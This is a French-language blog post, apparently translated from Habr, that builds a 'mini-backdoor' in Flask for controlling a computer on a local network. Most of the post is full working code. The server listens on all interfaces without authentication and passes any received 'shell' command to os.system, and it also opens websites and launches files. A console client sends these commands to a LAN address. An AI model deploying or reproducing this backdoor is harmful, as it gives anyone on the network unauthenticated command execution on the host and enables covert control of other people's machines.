🥇Un petit backdoor sur Flask ou comment contrôler un ordinateur sur un réseau local

Salut, Habr !

Récemment, j'ai regardé une version téléchargée d'un stream sur la programmation « Comment créer sa propre application web sur Flask ». Et j'ai décidé de consolider mes connaissances dans un projet. J'ai longtemps hésité sur le sujet à traiter, puis l'idée m'est venue : « Pourquoi ne pas créer un mini-backdoor sur Flask ? ».

Les premières options de mise en œuvre et de fonctionnalités de ce backdoor ont immédiatement germé dans mon esprit. Mais j'ai décidé de dresser tout de suite une liste des possibilités du backdoor :

Être capable d'ouvrir des sites web
Avoir accès à l'invite de commande
Être capable d'ouvrir des programmes, des photos, des vidéos

Ainsi, le premier point est extrêmement facile à réaliser en utilisant le module webbrowser. J'ai décidé de réaliser le deuxième point à l'aide du module os. Et le troisième – également via le module os, mais j'utiliserai des « liens » (j'en parlerai plus tard).

Écriture de serveurs

Ainsi, *roulement de tambour* tout le code du serveur :

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('\/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'Le serveur est en cours d'exécution et attend des commandes...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https:\/\/www.'+json_string['data'], new=0)
        return 'Ouverture du site ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Exécution de la commande ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Lancement de ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

J'ai déjà publié tout le code, il est temps d'expliquer le principe.

Tout le code s'exécute sur l'ordinateur local sur le port 5000. Pour interagir avec serveur nous devons envoyer une requête POST JSON.

Structure de la requête JSON :

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

Eh bien, il est logique que 'command' soit la commande que nous voulons exécuter. Et 'data' – les arguments de la commande.

On peut écrire et envoyer des requêtes JSON pour interagir avec le serveur à la main (requests à votre service). Ou l'on peut écrire un client en console.

Écriture du client

Code :

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Écrit en Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Auteur : ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://'+iport+'/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print(r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print(r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print(r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print(r.content.decode('utf-8'))
        else:
            print('La commande ne contient pas d'arguments!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print(r.content.decode('utf-8'))
            else:
                print('La commande ne contient pas d'arguments!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Explications :

Tout d'abord, le module requests est importé (pour interagir avec le serveur). Ensuite, les fonctions start et test sont décrites. Puis, il y a une boucle où la magie se produit. Vous avez lu le code ? Cela signifie que vous comprenez le sens de la magie qui se passe dans la boucle. Entrez une commande – elle sera exécutée. Shell – commandes pour la ligne de commande (la logique est incroyable).

Test – vérification du bon fonctionnement du serveur (backdoor)
Link – utilisation d'un "raccourci"
Openweb – ouverture d'un site
Quit – sortie du client
Set – définition de l'IP de votre ordinateur dans le réseau local

Maintenant, parlons en détail de link.

À côté du serveur se trouve le fichier link.txt. Il contient des liens (chemin complet) vers les fichiers (vidéos, photos, programmes).

La structure est la suivante :

chemin_complet>Description chemin_complet>Description

Conclusion

Nous avons un serveur backdoor pour contrôler un ordinateur dans le réseau local (dans le réseau Wi-Fi). Techniquement, nous pouvons exécuter le client depuis n'importe quel appareil disposant d'un interpréteur Python.

P.S. J'ai ajouté la commande set afin que si un autre IP soit attribué à l'ordinateur sur le réseau local, il soit possible de le modifier directement dans le client.

Source : habr.com

Un petit backdoor sur Flask ou comment gérer un ordinateur dans un réseau local

Conclusion